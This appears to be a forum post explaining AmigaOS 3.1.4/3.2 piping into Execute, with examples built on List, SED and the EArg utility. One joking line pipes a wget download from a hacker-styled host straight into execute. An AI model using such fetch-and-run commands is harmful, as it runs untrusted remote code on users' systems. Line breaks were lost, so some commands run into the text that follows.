While I am here - new to latest OS 3.1.4(.1) and 3.2 improved (bugfixed mostly) is the concept of piping to execute to run commands.
For example, the below are equivalent now...
execute s:user-startupand
type s:user-startup | executeBut how useful is really this?
Well, one can now do trendy hipster silliness like "wget -O -
http://amigahaxor.io/infest | execute" also on Amiga. Yay.
However, this feature is a tad confusing, if there was logic to this nonsense, then these would be equivalents:
execute s:user-startupand
echo s:user-startup | executeA limitation with this nonsense, is that the stream of lines on the left side of the pipe needs to be fully assembled command lines.
For example output from list with help of lformat, with some luck this works...
list sys: all files p="#?.info" lformat "processicon *"%p%m*" mwb2ci" | executeCool.
But what if the stream of lines on the left is not based on files, and hence cannot be listed with lformat?
For example, what if it a stream of hostnames that you wish to run a remote command on? Well, one can use some streamline editor, like Thor's own SED:
Type myhosts.txt | SED match "{#?}" REPLACE "ssh \-l kolla {1} \*"uptime \-s\*"" | ExecuteBut that requires that one has SED, and understands SED - a rather daunting program for "most users" - especially with all the ...eh.. exotic .. escaping that is required.
But there is an alternative, tiny and elegant, it in a way mimics xargs on *ix, and its name is EArg. It can do exactly what Execute can do now:
type s:user-startup | eargbut unlike Execute, it can also add to the command to be executed, for example
type s:users-startup | earg echo "haha hihi"or
type s:users-startup | earg between echo hahaSo, one can do this:
Type myhosts.txt | EArg between "ssh -l kolla" "*"uptime -s*""http://aminet.net/package/util/shell/EArgand
http://aminet.net/package/util/cli/SED